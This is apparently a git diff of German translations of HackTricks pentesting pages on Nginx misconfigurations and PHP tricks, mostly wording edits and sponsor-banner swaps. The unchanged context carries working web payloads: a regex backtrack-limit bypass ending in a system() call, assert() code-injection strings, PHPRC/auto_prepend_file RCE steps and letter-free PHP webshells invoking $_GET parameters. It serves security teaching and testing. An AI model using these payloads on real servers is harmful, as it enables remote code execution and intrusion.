|
||||
HTTP/1.1 302 Moved Temporarily
|
||||
Server: nginx/1.19.3
|
||||
|
@ -146,13 +148,13 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
|
|||
```
|
||||
### Any variable
|
||||
|
||||
Es wurde entdeckt, dass **benutzereingereichte Daten** unter bestimmten Umständen als **Nginx-Variable** behandelt werden könnten. Die Ursache dieses Verhaltens bleibt etwas unklar, ist jedoch weder selten noch einfach zu überprüfen. Diese Anomalie wurde in einem Sicherheitsbericht auf HackerOne hervorgehoben, der [hier](https://hackerone.com/reports/370094) eingesehen werden kann. Weitere Untersuchungen der Fehlermeldung führten zur Identifizierung ihres Auftretens innerhalb des [SSI-Filtermoduls des Nginx-Codebases](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365), wobei Server Side Includes (SSI) als Hauptursache festgestellt wurden.
|
||||
Es wurde entdeckt, dass **benutzereingereichte Daten** unter bestimmten Umständen als **Nginx-Variable** behandelt werden könnten. Die Ursache dieses Verhaltens bleibt etwas unklar, ist jedoch weder selten noch einfach zu überprüfen. Diese Anomalie wurde in einem Sicherheitsbericht auf HackerOne hervorgehoben, der [hier](https://hackerone.com/reports/370094) eingesehen werden kann. Weitere Untersuchungen der Fehlermeldung führten zur Identifizierung ihres Auftretens innerhalb des [SSI-Filtermoduls des Nginx-Codebases](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), wobei Server Side Includes (SSI) als Hauptursache festgestellt wurden.
|
||||
|
||||
Um diese Fehlkonfiguration zu **erkennen**, kann der folgende Befehl ausgeführt werden, der das Setzen eines Referer-Headers beinhaltet, um das Drucken von Variablen zu testen:
|
||||
```bash
|
||||
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
|
||||
```
|
||||
Scans für diese Fehlkonfiguration über Systeme hinweg zeigten mehrere Fälle, in denen Nginx-Variablen von einem Benutzer ausgegeben werden konnten. Ein Rückgang der Anzahl der verwundbaren Instanzen deutet jedoch darauf hin, dass die Bemühungen, dieses Problem zu beheben, einigermaßen erfolgreich waren.
|
||||
Scans für diese Fehlkonfiguration über Systeme hinweg haben mehrere Fälle ergeben, in denen Nginx-Variablen von einem Benutzer ausgegeben werden konnten. Ein Rückgang der Anzahl der verwundbaren Instanzen deutet jedoch darauf hin, dass die Bemühungen, dieses Problem zu beheben, einigermaßen erfolgreich waren.
|
||||
|
||||
## Rohes Backend-Antwortlesen
|
||||
|
||||
|
@ -173,15 +175,15 @@ proxy_hide_header Secret-Header;
|
|||
}
|
||||
```
|
||||
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Diese Direktive ermöglicht es Nginx, eine benutzerdefinierte Antwort für Backend-Antworten mit einem Statuscode größer als 300 bereitzustellen. Sie stellt sicher, dass für unsere Beispiel-uWSGI-Anwendung eine `500 Error`-Antwort von Nginx abgefangen und verarbeitet wird.
|
||||
* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): Wie der Name schon sagt, verbirgt diese Direktive bestimmte HTTP-Header vor dem Client und verbessert so die Privatsphäre und Sicherheit.
|
||||
* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): Wie der Name schon sagt, verbirgt diese Direktive bestimmte HTTP-Header vor dem Client, was die Privatsphäre und Sicherheit erhöht.
|
||||
|
||||
Wenn eine gültige `GET`-Anfrage gestellt wird, verarbeitet Nginx sie normalerweise und gibt eine standardmäßige Fehlerantwort zurück, ohne geheime Header offenzulegen. Eine ungültige HTTP-Anfrage umgeht jedoch diesen Mechanismus, was zur Offenlegung von rohen Backend-Antworten, einschließlich geheimer Header und Fehlermeldungen, führt.
|
||||
|
||||
## merge\_slashes auf aus gesetzt
|
||||
|
||||
Standardmäßig ist die **`merge_slashes`-Direktive** von Nginx auf **`on`** gesetzt, was mehrere aufeinanderfolgende Schrägstriche in einer URL zu einem einzelnen Schrägstrich komprimiert. Diese Funktion, die die Verarbeitung von URLs optimiert, kann unbeabsichtigt Schwachstellen in Anwendungen hinter Nginx verbergen, insbesondere solche, die anfällig für lokale Datei-Inklusionsangriffe (LFI) sind. Sicherheitsexperten **Danny Robinson und Rotem Bar** haben die potenziellen Risiken hervorgehoben, die mit diesem Standardverhalten verbunden sind, insbesondere wenn Nginx als Reverse-Proxy fungiert.
|
||||
Standardmäßig ist die **`merge_slashes`-Direktive** von Nginx auf **`on`** gesetzt, was mehrere aufeinanderfolgende Schrägstriche in einer URL zu einem einzigen Schrägstrich komprimiert. Diese Funktion, die die Verarbeitung von URLs optimiert, kann unbeabsichtigt Schwachstellen in Anwendungen hinter Nginx verbergen, insbesondere solche, die anfällig für lokale Datei-Inklusionsangriffe (LFI) sind. Sicherheitsexperten **Danny Robinson und Rotem Bar** haben die potenziellen Risiken hervorgehoben, die mit diesem Standardverhalten verbunden sind, insbesondere wenn Nginx als Reverse-Proxy fungiert.
|
||||
|
||||
Um solche Risiken zu mindern, wird empfohlen, die **`merge_slashes`-Direktive auszuschalten** für Anwendungen, die anfällig für diese Schwachstellen sind. Dies stellt sicher, dass Nginx Anfragen an die Anwendung weiterleitet, ohne die URL-Struktur zu ändern, und somit keine zugrunde liegenden Sicherheitsprobleme maskiert.
|
||||
Um solche Risiken zu mindern, wird empfohlen, die **`merge_slashes`-Direktive auszuschalten** für Anwendungen, die anfällig für diese Schwachstellen sind. Dies stellt sicher, dass Nginx Anfragen an die Anwendung weiterleitet, ohne die URL-Struktur zu ändern, wodurch keine zugrunde liegenden Sicherheitsprobleme maskiert werden.
|
||||
|
||||
Für weitere Informationen siehe [Danny Robinson und Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
|
||||
|
||||
|
@ -228,7 +230,7 @@ resolver 8.8.8.8;
|
|||
```
|
||||
### **`proxy_pass` und `internal` Direktiven**
|
||||
|
||||
Die **`proxy_pass`** Direktive wird verwendet, um Anfragen an andere Server weiterzuleiten, entweder intern oder extern. Die **`internal`** Direktive stellt sicher, dass bestimmte Standorte nur innerhalb von Nginx zugänglich sind. Während diese Direktiven für sich genommen keine Schwachstellen darstellen, erfordert ihre Konfiguration eine sorgfältige Prüfung, um Sicherheitslücken zu vermeiden.
|
||||
Die **`proxy_pass`** Direktive wird verwendet, um Anfragen an andere Server weiterzuleiten, entweder intern oder extern. Die **`internal`** Direktive stellt sicher, dass bestimmte Standorte nur innerhalb von Nginx zugänglich sind. Während diese Direktiven an sich keine Schwachstellen sind, erfordert ihre Konfiguration eine sorgfältige Prüfung, um Sicherheitslücken zu vermeiden.
|
||||
|
||||
## proxy\_set\_header Upgrade & Connection
|
||||
|
||||
|
@ -238,7 +240,7 @@ Wenn der Nginx-Server so konfiguriert ist, dass er die Upgrade- und Connection-H
|
|||
Diese Schwachstelle würde es einem Angreifer ermöglichen, **eine direkte Verbindung mit dem `proxy_pass` Endpunkt** (`http://backend:9999` in diesem Fall) herzustellen, dessen Inhalt nicht von Nginx überprüft wird.
|
||||
{% endhint %}
|
||||
|
||||
Beispiel für eine verwundbare Konfiguration, um `/flag` von [hier](https://bishopfox.com/blog/h2c-smuggling-request) zu stehlen:
|
||||
Beispiel für eine anfällige Konfiguration, um `/flag` von [hier](https://bishopfox.com/blog/h2c-smuggling-request) zu stehlen:
|
||||
```
|
||||
server {
|
||||
listen 443 ssl;
|
||||
|
@ -262,9 +264,9 @@ deny all;
|
|||
Beachten Sie, dass selbst wenn der `proxy_pass` auf einen bestimmten **Pfad** wie `http://backend:9999/socket.io` zeigt, die Verbindung mit `http://backend:9999` hergestellt wird, sodass Sie **jeden anderen Pfad innerhalb dieses internen Endpunkts kontaktieren können. Es spielt also keine Rolle, ob ein Pfad in der URL von proxy_pass angegeben ist.**
|
||||
{% endhint %}
|
||||
|
||||
## Probieren Sie es selbst aus
|
||||
## Probier es selbst aus
|
||||
|
||||
Detectify hat ein GitHub-Repository erstellt, in dem Sie Docker verwenden können, um Ihren eigenen anfälligen Nginx-Testserver mit einigen der in diesem Artikel besprochenen Fehlkonfigurationen einzurichten und sie selbst zu finden!
|
||||
Detectify hat ein GitHub-Repository erstellt, in dem Sie Docker verwenden können, um Ihren eigenen anfälligen Nginx-Testserver mit einigen der in diesem Artikel besprochenen Fehlkonfigurationen einzurichten und selbst nach ihnen zu suchen!
|
||||
|
||||
[https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx)
|
||||
|
||||
|
@ -272,7 +274,7 @@ Detectify hat ein GitHub-Repository erstellt, in dem Sie Docker verwenden könne
|
|||
|
||||
### [GIXY](https://github.com/yandex/gixy)
|
||||
|
||||
Gixy ist ein Tool zur Analyse von Nginx-Konfigurationen. Das Hauptziel von Gixy ist es, Sicherheitsfehlkonfigurationen zu verhindern und die Fehlererkennung zu automatisieren.
|
||||
Gixy ist ein Tool zur Analyse der Nginx-Konfiguration. Das Hauptziel von Gixy ist es, Sicherheitsfehlkonfigurationen zu verhindern und die Fehlererkennung zu automatisieren.
|
||||
|
||||
### [Nginxpwner](https://github.com/stark0de/nginxpwner)
|
||||
|
||||
|
@ -286,7 +288,9 @@ Nginxpwner ist ein einfaches Tool, um nach häufigen Nginx-Fehlkonfigurationen u
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbarer Setup für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu knacken und Spaß zu haben.
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Sicherheitsanfälligkeiten mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Privilegien zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, und Ihre harte Arbeit in überzeugende Berichte umzuwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -1,25 +1,29 @@
|
|||
# PHP Tricks
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
## Cookies übliche Position:
|
||||
**Finden und melden Sie kritische, ausnutzbare Sicherheitsanfälligkeiten mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Cookies üblicher Speicherort:
|
||||
|
||||
Dies gilt auch für phpMyAdmin-Cookies.
|
||||
|
||||
|
@ -127,11 +131,11 @@ Trick von: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-w
|
|||
|
||||
Kurz gesagt, das Problem tritt auf, weil die `preg_*` Funktionen in PHP auf der [PCRE-Bibliothek](http://www.pcre.org/) basieren. In PCRE werden bestimmte reguläre Ausdrücke durch viele rekursive Aufrufe abgeglichen, was viel Stack-Speicher benötigt. Es ist möglich, ein Limit für die Anzahl der erlaubten Rekursionen festzulegen, aber in PHP beträgt dieses Limit [standardmäßig 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), was mehr ist, als im Stack passt.
|
||||
|
||||
[Dieser Stackoverflow-Thread](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) wurde ebenfalls in dem Beitrag verlinkt, in dem ausführlicher über dieses Problem gesprochen wird. Unsere Aufgabe war nun klar:\
|
||||
[Dieser Stackoverflow-Thread](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) wurde ebenfalls in dem Beitrag verlinkt, in dem dieses Problem ausführlicher behandelt wird. Unsere Aufgabe war nun klar:\
|
||||
**Sende eine Eingabe, die die Regex dazu bringt, 100\_000+ Rekursionen durchzuführen, was zu SIGSEGV führt, wodurch die `preg_match()` Funktion `false` zurückgibt und die Anwendung denkt, dass unsere Eingabe nicht bösartig ist, und am Ende des Payloads eine Überraschung wie `{system(<verybadcommand>)}` wirft, um SSTI --> RCE --> Flag :) zu erhalten.**
|
||||
|
||||
Nun, in Bezug auf Regex machen wir tatsächlich keine 100k "Rekursionen", sondern zählen stattdessen "Backtracking-Schritte", die, wie die [PHP-Dokumentation](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) angibt, standardmäßig auf 1\_000\_000 (1M) in der Variablen `pcre.backtrack_limit` eingestellt ist.\
|
||||
Um das zu erreichen, wird `'X'*500_001` zu 1 Million Backtracking-Schritten führen (500k vorwärts und 500k rückwärts):
|
||||
Nun, in Regex-Begriffen führen wir tatsächlich keine 100k "Rekursionen" durch, sondern zählen stattdessen "Backtracking-Schritte", die, wie die [PHP-Dokumentation](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) besagt, standardmäßig auf 1\_000\_000 (1M) in der Variablen `pcre.backtrack_limit` eingestellt ist.\
|
||||
Um das zu erreichen, ergibt `'X'*500_001` 1 Million Backtracking-Schritte (500k vorwärts und 500k rückwärts):
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
```
|
||||
|
@ -172,7 +176,7 @@ Check:
|
|||
* Die **PHPSESSION-Cookies der gleichen Domain werden am gleichen Ort gespeichert**, daher, wenn innerhalb einer Domain **verschiedene Cookies in verschiedenen Pfaden verwendet werden**, können Sie einen Pfad so gestalten, dass er das Cookie des anderen Pfades zugreift, indem er den Wert des anderen Pfad-Cookies setzt.\
|
||||
Auf diese Weise, wenn **beide Pfade auf eine Variable mit dem gleichen Namen zugreifen**, können Sie den **Wert dieser Variablen in path1 auf path2 anwenden**. Und dann wird path2 die Variablen von path1 als gültig betrachten (indem das Cookie den Namen erhält, der ihm in path2 entspricht).
|
||||
* Wenn Sie die **Benutzernamen** der Benutzer der Maschine haben. Überprüfen Sie die Adresse: **/\~\<BENUTZERNAME>**, um zu sehen, ob die PHP-Verzeichnisse aktiviert sind.
|
||||
* [**LFI und RCE mit php-Wrappers**](../../../pentesting-web/file-inclusion/)
|
||||
* [**LFI und RCE mit PHP-Wrappers**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password\_hash/password\_verify
|
||||
|
||||
|
@ -199,7 +203,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
|
|||
```
|
||||
#### Füllen eines Körpers, bevor Header gesetzt werden
|
||||
|
||||
Wenn eine **PHP-Seite Fehler ausgibt und einige vom Benutzer bereitgestellte Eingaben zurückgibt**, kann der Benutzer den PHP-Server dazu bringen, einige **Inhalte auszugeben, die lang genug sind**, sodass der Server beim Versuch, **die Header** in die Antwort hinzuzufügen, einen Fehler auslöst.\
|
||||
Wenn eine **PHP-Seite Fehler ausgibt und einige vom Benutzer bereitgestellte Eingaben zurückgibt**, kann der Benutzer den PHP-Server dazu bringen, einige **Inhalte auszugeben, die lang genug sind**, sodass der Server einen Fehler ausgibt, wenn er versucht, **die Header** in die Antwort hinzuzufügen.\
|
||||
Im folgenden Szenario ließ der **Angreifer den Server einige große Fehler ausgeben**, und wie Sie auf dem Bildschirm sehen können, als PHP versuchte, **die Header-Informationen zu ändern, konnte es nicht** (zum Beispiel wurde der CSP-Header nicht an den Benutzer gesendet):
|
||||
|
||||
![](<../../../.gitbook/assets/image (1085).png>)
|
||||
|
@ -243,9 +247,9 @@ Diese Funktion innerhalb von php ermöglicht es Ihnen, **Code, der in einer Zeic
|
|||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
```
|
||||
Du musst die **Code-Syntax** **brechen**, dein **Payload** **hinzufügen** und es dann **wieder reparieren**. Du kannst **logische Operationen** wie "**and" oder "%26%26" oder "|"** verwenden. Beachte, dass "or", "||" nicht funktioniert, da unser Payload nicht ausgeführt wird, wenn die erste Bedingung wahr ist. Ebenso funktioniert ";" nicht, da unser Payload nicht ausgeführt wird.
|
||||
Du musst die **Code-Syntax** **brechen**, deine **Payload** **hinzufügen** und sie dann **wieder reparieren**. Du kannst **logische Operationen** wie "**and" oder "%26%26" oder "|"** verwenden. Beachte, dass "or", "||" nicht funktioniert, da unsere Payload nicht ausgeführt wird, wenn die erste Bedingung wahr ist. Ebenso funktioniert ";" nicht, da unsere Payload nicht ausgeführt wird.
|
||||
|
||||
**Andere Option** ist, den Befehl zur Ausführung an die Zeichenkette hinzuzufügen: `'.highlight_file('.passwd').'`
|
||||
**Andere Option** ist, den Befehl zur Zeichenkette hinzuzufügen: `'.highlight_file('.passwd').'`
|
||||
|
||||
**Andere Option** (wenn du den internen Code hast) ist, eine Variable zu ändern, um die Ausführung zu verändern: `$file = "hola"`
|
||||
|
||||
|
@ -291,7 +295,7 @@ Verschiedene .htaccess-Shells finden Sie [hier](https://github.com/wireghoul/hts
|
|||
Wenn Sie eine Schwachstelle finden, die es Ihnen ermöglicht, **Umgebungsvariablen in PHP zu ändern** (und eine andere, um Dateien hochzuladen, obwohl dies mit mehr Forschung möglicherweise umgangen werden kann), könnten Sie dieses Verhalten ausnutzen, um **RCE** zu erhalten.
|
||||
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Diese Umgebungsvariable ermöglicht es Ihnen, beliebige Bibliotheken beim Ausführen anderer Binärdateien zu laden (obwohl es in diesem Fall möglicherweise nicht funktioniert).
|
||||
* **`PHPRC`** : Weist PHP an, **wo es seine Konfigurationsdatei finden soll**, die normalerweise `php.ini` heißt. Wenn Sie Ihre eigene Konfigurationsdatei hochladen können, verwenden Sie `PHPRC`, um PHP darauf zu verweisen. Fügen Sie einen **`auto_prepend_file`**-Eintrag hinzu, der eine zweite hochgeladene Datei angibt. Diese zweite Datei enthält normalen **PHP-Code, der dann** von der PHP-Laufzeitumgebung vor jedem anderen Code ausgeführt wird.
|
||||
* **`PHPRC`** : Weist PHP an, **wo es seine Konfigurationsdatei finden kann**, die normalerweise `php.ini` heißt. Wenn Sie Ihre eigene Konfigurationsdatei hochladen können, verwenden Sie `PHPRC`, um PHP darauf zu verweisen. Fügen Sie einen **`auto_prepend_file`**-Eintrag hinzu, der eine zweite hochgeladene Datei angibt. Diese zweite Datei enthält normalen **PHP-Code, der dann** von der PHP-Laufzeitumgebung vor jedem anderen Code ausgeführt wird.
|
||||
1. Laden Sie eine PHP-Datei mit unserem Shellcode hoch
|
||||
2. Laden Sie eine zweite Datei hoch, die eine **`auto_prepend_file`**-Direktive enthält, die den PHP-Präprozessor anweist, die Datei aus Schritt 1 auszuführen
|
||||
3. Setzen Sie die `PHPRC`-Variable auf die Datei, die wir in Schritt 2 hochgeladen haben.
|
||||
|
@ -345,9 +349,9 @@ Wenn Sie eine PHP-Anwendung debuggen, können Sie die Fehlerausgabe global aktiv
|
|||
|
||||
Sie können das **Web**[ **www.unphp.net**](http://www.unphp.net) **verwenden, um PHP-Code zu deobfuskieren.**
|
||||
|
||||
## PHP Wrapper & Protokolle
|
||||
## PHP-Wrapper & Protokolle
|
||||
|
||||
PHP-Wrapper und Protokolle könnten es Ihnen ermöglichen, **Schreib- und Lese-Schutzmaßnahmen** in einem System zu umgehen und es zu kompromittieren. Für [**weitere Informationen überprüfen Sie diese Seite**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
PHP-Wrapper und Protokolle könnten es Ihnen ermöglichen, **Schreib- und Lese-Schutzmaßnahmen** in einem System zu umgehen und es zu kompromittieren. Für [**weitere Informationen besuchen Sie diese Seite**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
|
||||
## Xdebug nicht authentifizierte RCE
|
||||
|
||||
|
@ -367,7 +371,7 @@ echo "$x ${Da}"; //Da Drums
|
|||
```
|
||||
## RCE durch Missbrauch von neuen $\_GET\["a"]\($\_GET\["b")
|
||||
|
||||
Wenn Sie auf einer Seite **ein neues Objekt einer beliebigen Klasse erstellen** können, könnten Sie in der Lage sein, RCE zu erlangen. Überprüfen Sie die folgende Seite, um zu lernen, wie:
|
||||
Wenn du auf einer Seite **ein neues Objekt einer beliebigen Klasse erstellen** kannst, könntest du in der Lage sein, RCE zu erlangen. Überprüfe die folgende Seite, um zu lernen, wie:
|
||||
|
||||
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
||||
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
||||
|
@ -397,7 +401,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
|||
|
||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||
```
|
||||
Also, wenn Sie **willkürlichen PHP-Code ohne Zahlen und Buchstaben ausführen** können, können Sie eine Anfrage wie die folgende senden, um diese Payload auszunutzen und willkürlichen PHP-Code auszuführen:
|
||||
Also, wenn Sie **willkürlichen PHP-Code ohne Zahlen und Buchstaben ausführen** können, können Sie eine Anfrage wie die folgende senden, um diese Nutzlast auszunutzen und willkürlichen PHP-Code auszuführen:
|
||||
```
|
||||
POST: /action.php?_=system&__=cat+flag.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
@ -464,21 +468,25 @@ $____.=$__;
|
|||
$_=$$____;
|
||||
$___($_[_]); // ASSERT($_POST[_]);
|
||||
```
|
||||
<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Sicherheitsanfälligkeiten mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,29 +1,31 @@
|
|||
# Werkzeug / Flask Debug
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
